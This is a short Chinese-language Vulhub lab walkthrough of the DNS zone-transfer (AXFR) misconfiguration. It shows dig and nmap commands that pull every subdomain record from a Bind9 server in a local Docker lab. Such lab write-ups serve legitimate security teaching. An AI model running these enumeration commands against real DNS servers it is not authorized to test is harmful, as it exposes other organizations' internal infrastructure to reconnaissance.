Vulhub 漏洞学习之：DNS

Vulhub 漏洞学习之：DNS

1 DNS域传送漏洞

DNS协议支持使用axfr类型的记录进行区域传送，用来解决主从同步的问题。如果管理员在配置DNS服务器的时候没有限制允许获取记录的来源，将会导致DNS域传送漏洞。

参考链接：

1.1 漏洞利用过程

  1. Vulhub使用Bind9来搭建dns服务器，但不代表只有Bind9支持AXFR记录。运行DNS服务器：环境运行后，将会监听TCP和UDP的53端口，DNS协议同时支持从这两个端口进行数据传输。

  2. 在Linux下，我们可以使用dig命令来发送dns请求。比如，我们可以用dig @your-ip www.vulhub.org获取域名www.vulhub.org在目标dns服务器上的A记录：

    dig @192.168.210.13 www.vulhub.org
# 192.168.210.13 为 docker DNS 服务器地址

    image-20220126185214953

  3. 发送axfr类型的dns请求：

    # dig @your-ip -t axfr vulhub.org
dig @192.168.210.13 -t axfr vulhub.org

# 获取到了`vulhub.org`的所有子域名记录，这里存在DNS域传送漏洞。

    image-20220126185412723

  4. 用nmap script来扫描该漏洞：

    # nmap --script dns-zone-transfer.nse --script-args "dns-zone-transfer.domain=vulhub.org" -Pn -p 53 your-ip

nmap --script dns-zone-transfer.nse --script-args "dns-zone-transfer.domain=vulhub.org" -Pn -p 53 192.168.210.13

    image-20220126181239238

posted @ 2022-02-13 13:17  f_carey  阅读(61)  评论(0)  编辑  收藏  举报